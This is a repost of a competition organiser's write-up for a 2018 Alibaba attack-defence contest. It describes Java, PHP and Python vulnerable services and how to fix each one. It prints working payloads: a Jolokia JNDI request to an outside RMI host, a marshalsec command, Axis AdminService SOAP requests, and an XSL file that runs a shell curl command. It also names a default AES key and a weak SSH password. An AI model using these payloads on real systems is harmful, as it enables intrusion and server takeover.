Neurohazard
暮雲煙月,皓首窮經;森羅萬象,如是我聞。

WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛

wpadmin~September 10, 2018 /InfoSec

WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛

原始信息

WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛 阿里安全响应中心 2018/09/07
wechat

正文

WriteUp – 2018中国网络安全技术对抗赛阿里安全攻防对抗赛


姗姗来迟的



阿里安全响应中心

3天前

 2018中国网络安全技术对抗赛阿里安全攻防对抗赛于8月16日下午结束。

恭喜EversecLab获得比赛第一名10万元奖金(税前),Lancet获得比赛第二名6万元奖金(税前),f61d战队获得比赛第三名3万元奖金(税前)

恭喜Hello战队/r00t战队/ChaMd5战队分别获得最佳防守/攻击/综合团队及2万元奖金奖金(税前)

恭喜ChaMd5/f61d/kn0ck战队的队员分别获得最佳攻防个人奖励及1万元奖金(税前)

(相关的奖金发放和证书邮寄下周将全部完成)

赛后有不少选手希望有本次比赛的WriteUp,所以我们让出题小哥哥写了一个出题者版本供大家参考。阿里出的题,必然是java居多啦。

本次比赛共分三场,第一场php+java,第二场python+java,第三场php+java。

在此放出WriteUp供相关队员参考:

第一场

PHP题目

1.ImageMagic命令注入(CVE-2016–3714)

很经典的漏洞,姿势网上有很多,就不在这里占篇幅了。


Java题目

1.Jolokia JNDI注入CVE-2018-1000130

在web.xml可以看到如下片段,使用了jolokia作为JMX的环境


<servlet>

    <servlet-name>jolokia-agent</servlet-name>

    <servlet-class>org.jolokia.http.AgentServlet</servlet-class>

    <init-param>

        <param-name>mimeType</param-name>

        <param-value>application/json</param-value>

    </init-param>

    <load-on-startup>1</load-on-startup>

</servlet>

 

<servlet-mapping>

    <servlet-name>jolokia-agent</servlet-name>

    <url-pattern>/jolokia/*</url-pattern>

</servlet-mapping>


漏洞的利用可以参考下

https://xz.aliyun.com/t/2294

这篇文章,不过建议使用rmi协议而不是ldap协议,poc改成下面的,加上现场环境特意没有使用高版本的JDK,这样直接就能用marshalsec的构建好的jndi服务器指向下载的class内容


{

    “type”:“read”,

    “mbean”:“java.lang:type=Memory”,

    “target”:{

         “url”:“service:jmx:rmi:///jndi/rmi://123.123.123.123:1099/jmxrmi”

    }

}


java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://yourserverip:port/#classname 1099


修复方法

把jolokia在web.xml的引用给注释掉,或者升级到最新的版本编译。


2.Json反序列化漏洞

代码位于com.alibaba.sample.petstore.web.store.module.screen.SearchProduct


publicvoidexecute(@Param(“info”)String info,Context context,HttpServletRequest req)throwsException {

    if(req.getContentType().contains(“json”)){

        JSONObject jo=JSON.parseObject(req.getInputStream(),com.alibaba.fastjson.JSONObject.class);

        info=jo.getString(“info”);

    }

    List<Product>products =productDao.searchProductsByKeywords(info);

    context.put(“products”,products);

}


在提交搜索的位置抓包,将ContentType改成application/json即可用json的形式提交搜索,这里使用了低版本的fastjson的包,存在反序列化漏洞能够直接获取服务器权限。


<dependency>

    <groupId>com.alibaba</groupId>

    <artifactId>fastjson</artifactId>

    <version>1.2.15</version>

</dependency>


利用姿势可以参考https://github.com/shengqi158/fastjson-remote-code-execute-poc


修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。


3.SQL注入漏洞

在搜索处抓包即可,参数info存在SQL注入,可以获取数据库内的flag。为了贴近真实环境,所有场次每个team所使用的数据库都是只能由这个team的应用服务器连接,即使获取到了数据库的凭据也不能在本地连接。


修复方法

找到对应的sqlmap(不是跑注入的那个)文件petstore/dal/src/main/resources/petstore/dal/sqlmap/Product.xml,将$改成#即可。


4.Java反序列化漏洞

所有Java题目用到的框架经过配置,session信息是存在cookie里的,cookie的内容经过压缩和加密(可选)并序列化后的session对象。可以参考com.alibaba.citrus.service.requestcontext.session.encoder.AbstractSerializationEncoder的encode方法手工对cookie进行加密。


/** 编码。*/

publicString encode(Map<String,Object>attrs,StoreContext storeContext)throwsSessionEncoderException {

    ByteArrayOutputStream baos =newByteArrayOutputStream();

 

    // 1. 序列化

    // 2. 压缩

    Deflater def =newDeflater(Deflater.BEST_COMPRESSION,false);

    DeflaterOutputStream dos =newDeflaterOutputStream(baos,def);

 

    try{

        serializer.serialize(assertNotNull(attrs,“objectToEncode is null”),dos);

    }catch(Exception e){

        thrownewSessionEncoderException(“Failed to encode session state”,e);

    }finally{

        try{

            dos.close();

        }catch(IOException e){

        }

 

        def.end();

    }

 

    byte[]plaintext =baos.toByteArray().toByteArray();

 

    // 3. 加密

    byte[]cryptotext =encrypt(plaintext);

 

    // 4. base64编码

    try{

        String encodedValue =newString(Base64.encodeBase64(cryptotext,false),“ISO-8859-1”);

 

        returnURLEncoder.encode(encodedValue,“ISO-8859-1”);

    }catch(UnsupportedEncodingException e){

        thrownewSessionEncoderException(“Failed to encode session state”,e);

    }

}

 

/** 加密。*/

privatebyte[]encrypt(byte[]plaintext)throwsSessionEncoderException {

    if(encrypter !=null){

        returnencrypter.encrypt(plaintext);

    }

 

    returnplaintext;

}

默认是Hessian协议的序列化方式,但是考虑到这个协议的序列化漏洞利用姿势比较小众,特地在配置文件中修改成了Java的序列化,所以使用com.alibaba.citrus.service.requestcontext.session.serializer.impl.JavaSerializer即可。对应的配置文件内容:

<request-contexts:session forceExpirationPeriod=”14400“>

    <stores>

        <session-stores:cookie-storeid=”temporaryCookie“>

            <cookie name=”tmp/>

            <encoders>

                <session-encoders:serialization-encoder>

                    <session-serializers:java-serializer/>

                    <!–<session-encrypters:aes-encrypter key=”0123456789abcdef” />–>

                </session-encoders:serialization-encoder>

            </encoders>

        </session-stores:cookie-store>

    </stores>

    <store-mappings>

        <match name=”*store=”temporaryCookie/>

    </store-mappings>

    <interceptors>

        <session-interceptors:lifecycle-logger/>

        <session-interceptors:attribute-whitelist>

            <attribute name=”_csrf_token/>

            <attribute name=”_lang/>

            <attribute name=”petstoreUsertype=”com.alibaba.sample.petstore.web.common.PetstoreUser/>

            <attribute name=”petstoreCarttype=”com.alibaba.sample.petstore.dal.dataobject.Cart/>

        </session-interceptors:attribute-whitelist>

    </interceptors>

</request-contexts:session>


本场次没有进行加密,后面对两个场次对cookie对中的内容进行了加密处理,用com.alibaba.citrus.service.requestcontext.session.encrypter.impl.AesEncrypter进行加密即可。


修复方法

配置文件的注释中有设置加密key的方法,把注释去掉随机生成一个长度16的key即可。


场次二

Python题目

1.Flask模板注入漏洞

也是非常经典,在此不再详细介绍。

Java题目

1.XMLDecoder反序列化漏洞

和weblogic的那个漏洞原理一致,位于webservice中。可以通过访问http://ip:80/contest2/services/StoreManagerWebServiceXML?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中xmlstr字段。

修复方法

可以把这个接口删除,在/WEB-INF/server-config.wsdd注释掉即可,不影响其他业务。


2.Json反序列化漏洞黑名单绕过

漏洞点同样位于webservice内,可以通过访问http://ip:80/contest2/services/StoreManagerWebService?wsdl通过各种工具解析wsdl文件来获取调用的接口,触发点为getCartItems方法中cartjsonstr字段。

可以参考下面文章的绕过姿势

https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/src/main/java/person/OtherPoC.java

使用的fastjson版本是1.2.42的,同样为了方便漏洞的利用,特意打开了autotype的开关

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);//一般都不开


修复方法

可以更改pom文件使用最新的fastjson并重新编译发布。


3.Java反序列化漏洞

可以参考第一场次,默认所有场次的加密key都是0123456789abcdef,


修复方法

可以参考场次一的修复方案。


4.Java JDWP调试端口远程开放

默认的tomcat启动参数是开启了调试的,所以可以通过这个漏洞直接获取主机权限。

利用工具可以参考https://github.com/IOActive/jdwp-shellifier


修复方法

在启动脚本:

catalina.sh jpda start改为catalina.sh start即可


其他题目

SSH弱口令admin:admin123


场次三

PHP题目

Drupal Drupalgeddon2 (CVE-2018-7600) 

今年新出的漏洞,比较火,可以参考https://xz.aliyun.com/t/2312


PHP-FPM未授权访问

设置php-fpm服务的时候监听了0.0.0.0,白名单是选手应用服务器所在的网段

可以参考https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75


Java题目

1.WebService任意部署漏洞

这个漏洞出的不是很好,因为漏洞比较老,可能大部分人都没有见过。

通过访问http://ip:80/contest3/services/AdminService?wsdl通过各种工具解析wsdl文件来获取调用的接口,通过部署任意类为一个webservice方法的形式来执行命令。数据包如下


POST /contest3/services/AdminService HTTP/1.1

Host:127.0.0.1:8080

User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip, deflate

Connection:close

SOAPAction:something

Upgrade-Insecure-Requests:1

Content-Type:application/xml

Content-Length:799

 

<?xml version=”1.0″ encoding=”utf-8″?>

<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance

        xmlns:xsd=”http://www.w3.org/2001/XMLSchema

        xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/“>

    <soapenv:Body>

        <ns1:deployment

            xmlns=”http://xml.apache.org/axis/wsdd/

            xmlns:java=”http://xml.apache.org/axis/wsdd/providers/java

            xmlns:ns1=”http://xml.apache.org/axis/wsdd/“>

            <ns1:service name=”TestServiceprovider=”java:RPC“>

                <ns1:parameter name=”classNamevalue=”com.sun.org.apache.xalan.internal.xslt.Process“/>

                <ns1:parameter name=”allowedMethodsvalue=”*“/>

            </ns1:service>

        </ns1:deployment>

    </soapenv:Body>

</soapenv:Envelope>


会部署一个名为TestService的接口,实现类是com.sun.org.apache.xalan.internal.xslt.Process,其中的_main(String[])方法会在满足特定条件时会去远程加载一个xsl文件造成xslt注入导致命令执行。


POST /contest3/services/TestService HTTP/1.1

Host:127.0.0.1:8080

User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:60.0) Gecko/20100101 Firefox/60.0

Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding:gzip, deflate

Connection:close

SOAPAction:something

Upgrade-Insecure-Requests:1

Content-Type:application/xml

Content-Length:799

 

<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instancexmlns:xsd=”http://www.w3.org/2001/XMLSchemaxmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/xmlns:xslt=”http://xslt.internal.xalan.apache.org.sun.comxmlns:soapenc=”http://schemas.xmlsoap.org/soap/encoding/“>

   <soapenv:Header/>

   <soapenv:Body>

      <xslt:_main soapenv:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/“>

         <argv xsi:type=”xst:ArrayOf_xsd_stringsoapenc:arrayType=”xsd:string[]xmlns:xst=”http://127.0.0.1:8080/contest3/services/TestService“>

<cmd xsi:type=”soapenc:string“>-xsl</cmd>

<cmd xsi:type=”soapenc:string“>http://123.123.123.123/cmd.xsl</cmd>

          </argv>

      </xslt:_main>

   </soapenv:Body>

</soapenv:Envelope>

cmd.xsl如下

<?xml version=”1.0″?>

<xsl:stylesheet exclude-result-prefixes=”javaversion=”1.0

 xmlns:bufferedreader=”xalan://java.io.BufferedReader

 xmlns:inputstreamreader=”xalan://java.io.InputStreamReader

 xmlns:java=”http://xml.apache.org/xalan/java

 xmlns:runtime=”xalan://java.lang.Runtime

 xmlns:str=”xalan://java.lang.String

 xmlns:xsl=”http://www.w3.org/1999/XSL/Transform“>

  <xsl:variable name=”runtimeselect=”runtime:getRuntime()“/>

  <xsl:template match=”/“>

      <xsl:variable name=”command“>/bin/sh,-c,curl 10.233.66.66 -I</xsl:variable>

      <xsl:variable name=”argumentsselect=”str:split(str:new($command),,)“/>

      <xsl:value-of select=”runtime:exec($runtime, $arguments)“/>

  </xsl:template>

</xsl:stylesheet>


修复方法

在/WEB-INF/server-config.wsdd中将enableRemoteAdmin设置为false


2.未授权访问漏洞

由于对该项目进行了部分的服务化改造,应用不再直接连接数据库获取信息,而是通过连接dubbo服务器的形式以RPC的形式获取。环境特意使用错误的配置将dubbo的接口对外开放,任何人都能够telnet过去执行任意接口,调用方法文档如下:http://dubbo.apache.org/zh-cn/docs/user/references/telnet.html

数据flag放到了这个接口里,不过直接提交会出错,因为还经过了一次aes加密,在业务展示订单信息对应的方法com.alibaba.sample.petstore.web.store.module.screen.OrderList有展示:

publicvoidexecute(Context context)throwsException {

    //System.out.println(“call order list”);

    List<Order>orders=orderDao.getAllOrders();

    for(Order o:orders){

        o.setStatus(newString(Aes.decryptString(o.getStatus())));

    }

    context.put(“orders”,orders);

}

所以找到指定数据后,调用Aes.decryptString(String)方法就可以获得flag了。


修复方法

修改iptables的入站规则,禁止20880端口访问。或者在配置文件中新增dubbo.protocol.host=127.0.0.1

 


点“阅读原文”至ASRC提交安全漏洞及情报



 长按扫描关注ASRC,关注后续精彩活动!

↓↓↓↓↓↓↓↓↓↓↓↓↓

    阅读原文

    Leave a Reply

    Your email address will not be published. Required fields are marked *